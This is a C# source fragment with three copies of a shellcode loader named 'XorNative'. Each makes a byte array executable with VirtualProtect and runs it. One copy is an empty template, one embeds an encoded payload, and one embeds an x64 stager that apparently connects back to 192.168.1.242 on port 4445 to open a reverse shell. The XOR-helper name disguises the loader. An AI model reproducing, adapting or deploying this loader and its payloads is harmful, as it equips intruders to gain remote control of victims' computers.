private static string XorNative(string input, string key)
{
//PASTE BYTE CODE ARRAY HERE//
IntPtr myShellcodePtr = IntPtr.Zero;
string resultStr = string.Empty;
try
{
GCHandle pinnedArray = GCHandle.Alloc(buf, GCHandleType.Pinned);
// get handle for shellcode
IntPtr pointer = pinnedArray.AddrOfPinnedObject(); // get address
DelXorNative myxorIt = (DelXorNative)Marshal.GetDelegateForFunctionPointer(pointer,
typeof(DelXorNative)); // convert function-pointer to delegate
uint flOldProtect;
VirtualProtect(pointer, (UIntPtr)buf.Length, PAGE_EXECUTE_READWRITE,
out flOldProtect); // make shellcode executable
IntPtr byteOut = IntPtr.Zero;
myxorIt(input.ToCharArray(), key.ToCharArray(), input.Length, out byteOut);
// execute shellcode
VirtualProtect(pointer, (UIntPtr)buf.Length, flOldProtect,
out flOldProtect); // restore old flag
pinnedArray.Free();
byte[] result = new byte[input.Length];
Marshal.Copy(byteOut, result, 0, input.Length);
// here is our returned byte array in result
resultStr = Encoding.UTF8.GetString(result);
}
finally // cleanup
{
if (myShellcodePtr != IntPtr.Zero)
{
Marshal.FreeCoTaskMem(myShellcodePtr);
myShellcodePtr = IntPtr.Zero;
}
}
return(resultStr);
}
private static string XorNative(string input, string key)
{
byte[] buf = new byte[532] {
0xbb, 0x2f, 0xf2, 0x94, 0x2c, 0xda, 0xdb, 0xd9, 0x74, 0x24, 0xf4, 0x5a, 0x33, 0xc9, 0xb1,
0x7f, 0x31, 0x5a, 0x13, 0x83, 0xc2, 0x04, 0x03, 0x5a, 0x20, 0x10, 0x61, 0xd0, 0x76, 0x57,
0x6e, 0xd9, 0x6e, 0x97, 0x6f, 0x1a, 0x6e, 0x59, 0x21, 0x5b, 0x3e, 0x0b, 0x90, 0x0d, 0xf6,
0x9a, 0xc0, 0xd7, 0x4e, 0x56, 0xb6, 0x77, 0x06, 0xe3, 0x65, 0x60, 0xde, 0x78, 0xdb, 0xb0,
0x96, 0xf5, 0xae, 0xe0, 0x6e, 0x05, 0xf8, 0x4b, 0x24, 0x54, 0x37, 0x85, 0xf0, 0x57, 0xf7,
0xb9, 0x3c, 0xf9, 0x8b, 0xc3, 0x10, 0xd9, 0x32, 0x05, 0xa1, 0x14, 0xf4, 0x84, 0xf0, 0xc5,
0x1b, 0xd4, 0xb3, 0x58, 0xac, 0x52, 0x61, 0x7b, 0xa7, 0x27, 0xb9, 0x33, 0xb6, 0x77, 0x4a,
0x43, 0x30, 0x77, 0x4c, 0x44, 0x09, 0xfd, 0x8c, 0x30, 0xee, 0xb5, 0x0d, 0x69, 0xa0, 0xce,
0x45, 0x91, 0x05, 0x5a, 0x15, 0x81, 0xcc, 0x5d, 0x45, 0x22, 0x98, 0x15, 0x9a, 0x6c, 0x64,
0x2d, 0x50, 0xe7, 0x2f, 0x30, 0x4e, 0xba, 0x9e, 0xfb, 0x26, 0x74, 0x21, 0x57, 0xf7, 0xb7,
0x68, 0xa5, 0xb6, 0x36, 0xaa, 0x8e, 0xd8, 0x4c, 0xdd, 0xa3, 0x1b, 0xe3, 0x39, 0x34, 0x5e,
0xc2, 0x90, 0x31, 0xb8, 0x6c, 0x57, 0x31, 0x78, 0xa9, 0x1e, 0x44, 0xa8, 0xd7, 0xe1, 0xcd,
0x44, 0x50, 0xa6, 0x5a, 0x14, 0x7c, 0x6f, 0x5c, 0x44, 0x3d, 0xe4, 0x5a, 0xec, 0xf6, 0xfb,
0xb2, 0xad, 0x5e, 0xbd, 0x6a, 0x73, 0x06, 0x67, 0xca, 0xd3, 0xf9, 0xce, 0x8d, 0xb9, 0xb1,
0x73, 0xe1, 0x1d, 0x03, 0x26, 0x05, 0xbd, 0xdb, 0x87, 0xa0, 0x67, 0x94, 0x8c, 0x41, 0x7e,
0x73, 0x6c, 0x9a, 0x7f, 0x21, 0xdb, 0xdb, 0x08, 0xa9, 0xe9, 0x7c, 0xc5, 0x7f, 0x0e, 0x83,
0x68, 0xd6, 0x47, 0x0a, 0x8c, 0x9e, 0xd6, 0xe0, 0xf0, 0x1e, 0xd9, 0xf8, 0xb9, 0xa9, 0x3c,
0xb1, 0x85, 0xa8, 0xbe, 0x53, 0xa9, 0xac, 0xbe, 0x53, 0x51, 0xec, 0xea, 0x1a, 0xd8, 0x0a,
0x5e, 0x14, 0x2b, 0x93, 0xe5, 0x6a, 0xbc, 0x32, 0x1d, 0x8c, 0x97, 0x77, 0xa8, 0x98, 0x7f,
0x89, 0xab, 0x5c, 0x7f, 0xd0, 0xea, 0xe6, 0x56, 0x62, 0x87, 0x16, 0x57, 0xb7, 0x08, 0x47,
0xea, 0x09, 0x60, 0x2a, 0xc5, 0xa9, 0x3a, 0x4a, 0xe5, 0x62, 0x32, 0x76, 0xad, 0x8d, 0x84,
0x3f, 0xa4, 0xb3, 0x44, 0x7a, 0x5c, 0x3c, 0x98, 0x9a, 0x5f, 0x96, 0x6e, 0xd2, 0x58, 0x73,
0x7f, 0xa5, 0x3e, 0xc8, 0xf6, 0xc7, 0xf6, 0x59, 0xf1, 0x49, 0xbc, 0x98, 0xd9, 0x7d, 0xa7,
0xe3, 0x0b, 0xc9, 0x16, 0xce, 0xfc, 0x43, 0xa1, 0xaf, 0x46, 0xe4, 0xb8, 0x08, 0x48, 0xf4,
0xef, 0x24, 0x87, 0xcb, 0x47, 0x86, 0x35, 0x83, 0xde, 0x11, 0xf8, 0xae, 0x94, 0x0d, 0xc0,
0x2f, 0xab, 0x1b, 0x7f, 0x39, 0xaa, 0xec, 0x09, 0xfe, 0x0d, 0x57, 0x7c, 0x6f, 0xc0, 0xc6,
0x80, 0xba, 0x92, 0x89, 0xbb, 0xe5, 0x20, 0x8a, 0x43, 0xaf, 0x9c, 0xe9, 0x2e, 0x4b, 0xdc,
0xed, 0xb0, 0x93, 0xdc, 0xac, 0xe0, 0xd2, 0x8c, 0x66, 0x88, 0x37, 0x7b, 0x20, 0xdd, 0xfa,
0xb2, 0x0e, 0x8b, 0x09, 0xed, 0xcf, 0x1c, 0xf0, 0xf1, 0xb6, 0x5b, 0xb0, 0x2d, 0x63, 0x65,
0x38, 0x65, 0x06, 0x21, 0x1e, 0x6d, 0xde, 0xaa, 0x36, 0xc5, 0x57, 0x4c, 0x90, 0x85, 0x26,
0xc1, 0x5c, 0x75, 0xe8, 0xb1, 0x17, 0x8a, 0x2a, 0x70, 0xf8, 0x3d, 0x54, 0xbb, 0xb5, 0x34,
0x6b, 0x70, 0xcf, 0x87, 0x2d, 0x33, 0xb6, 0xcb, 0x91, 0xc5, 0xb6, 0x06, 0xa5, 0xf8, 0x9a,
0xe0, 0xc9, 0x31, 0x91, 0xfe, 0x74, 0x7c, 0xae, 0x79, 0x6b, 0xe0, 0x50, 0x50, 0x2f, 0x10,
0x1b, 0xf8, 0x06, 0x90, 0xde, 0x5a, 0x33, 0xaf, 0x82, 0x5d, 0xe9, 0x98, 0x3f, 0x65, 0x3a,
0x25, 0x46, 0x19, 0x31, 0xd5, 0xbd, 0x01, 0x30, 0xd0, 0xfa, 0x86, 0xa8, 0xa8, 0x93, 0x62,
0xcf, 0x15, 0x2d, 0xfb, 0x15, 0x5a, 0x78
};
IntPtr myShellcodePtr = IntPtr.Zero;
string resultStr = string.Empty;
try
{
GCHandle pinnedArray = GCHandle.Alloc(buf, GCHandleType.Pinned);
// get handle for shellcode
IntPtr pointer = pinnedArray.AddrOfPinnedObject(); // get address
DelXorNative myxorIt = (DelXorNative)Marshal.GetDelegateForFunctionPointer(pointer,
typeof(DelXorNative)); // convert function-pointer to delegate
uint flOldProtect;
VirtualProtect(pointer, (UIntPtr)buf.Length, PAGE_EXECUTE_READWRITE,
out flOldProtect); // make shellcode executable
IntPtr byteOut = IntPtr.Zero;
myxorIt(input.ToCharArray(), key.ToCharArray(), input.Length, out byteOut);
// execute shellcode
VirtualProtect(pointer, (UIntPtr)buf.Length, flOldProtect,
out flOldProtect); // restore old flag
pinnedArray.Free();
byte[] result = new byte[input.Length];
Marshal.Copy(byteOut, result, 0, input.Length);
// here is our returned byte array in result
resultStr = Encoding.UTF8.GetString(result);
}
finally // cleanup
{
if (myShellcodePtr != IntPtr.Zero)
{
Marshal.FreeCoTaskMem(myShellcodePtr);
myShellcodePtr = IntPtr.Zero;
}
}
return(resultStr);
}
private static string XorNative(string input, string key)
{
byte[] buf = new byte[510] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b,
0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1,
0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45,
0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
0x4b, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00,
0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00, 0x49, 0x89, 0xe5,
0x49, 0xbc, 0x02, 0x00, 0x11, 0x5d, 0xc0, 0xa8, 0x01, 0xf2, 0x41, 0x54, 0x49, 0x89, 0xe4,
0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68,
0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x0a,
0x41, 0x5e, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89,
0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5,
0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba,
0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0x49, 0xff, 0xce, 0x75, 0xe5,
0xe8, 0x93, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x10, 0x48, 0x89, 0xe2, 0x4d, 0x31, 0xc9,
0x6a, 0x04, 0x41, 0x58, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5,
0x83, 0xf8, 0x00, 0x7e, 0x55, 0x48, 0x83, 0xc4, 0x20, 0x5e, 0x89, 0xf6, 0x6a, 0x40, 0x41,
0x59, 0x68, 0x00, 0x10, 0x00, 0x00, 0x41, 0x58, 0x48, 0x89, 0xf2, 0x48, 0x31, 0xc9, 0x41,
0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x89, 0xc3, 0x49, 0x89, 0xc7, 0x4d, 0x31,
0xc9, 0x49, 0x89, 0xf0, 0x48, 0x89, 0xda, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x02, 0xd9, 0xc8,
0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x28, 0x58, 0x41, 0x57, 0x59, 0x68, 0x00, 0x40,
0x00, 0x00, 0x41, 0x58, 0x6a, 0x00, 0x5a, 0x41, 0xba, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5,
0x57, 0x59, 0x41, 0xba, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x49, 0xff, 0xce, 0xe9, 0x3c,
0xff, 0xff, 0xff, 0x48, 0x01, 0xc3, 0x48, 0x29, 0xc6, 0x48, 0x85, 0xf6, 0x75, 0xb4, 0x41,
0xff, 0xe7, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
};
IntPtr myShellcodePtr = IntPtr.Zero;
string resultStr = string.Empty;
try
{
GCHandle pinnedArray = GCHandle.Alloc(buf, GCHandleType.Pinned);
// get handle for shellcode
IntPtr pointer = pinnedArray.AddrOfPinnedObject(); // get address
DelXorNative myxorIt = (DelXorNative)Marshal.GetDelegateForFunctionPointer(pointer,
typeof(DelXorNative)); // convert function-pointer to delegate
uint flOldProtect;
VirtualProtect(pointer, (UIntPtr)buf.Length, PAGE_EXECUTE_READWRITE,
out flOldProtect); // make shellcode executable
IntPtr byteOut = IntPtr.Zero;
myxorIt(input.ToCharArray(), key.ToCharArray(), input.Length, out byteOut);
// execute shellcode
VirtualProtect(pointer, (UIntPtr)buf.Length, flOldProtect,
out flOldProtect); // restore old flag
pinnedArray.Free();
byte[] result = new byte[input.Length];
Marshal.Copy(byteOut, result, 0, input.Length);
// here is our returned byte array in result
resultStr = Encoding.UTF8.GetString(result);
}
finally // cleanup
{
if (myShellcodePtr != IntPtr.Zero)
{
Marshal.FreeCoTaskMem(myShellcodePtr);
myShellcodePtr = IntPtr.Zero;
}
}
return(resultStr);
}
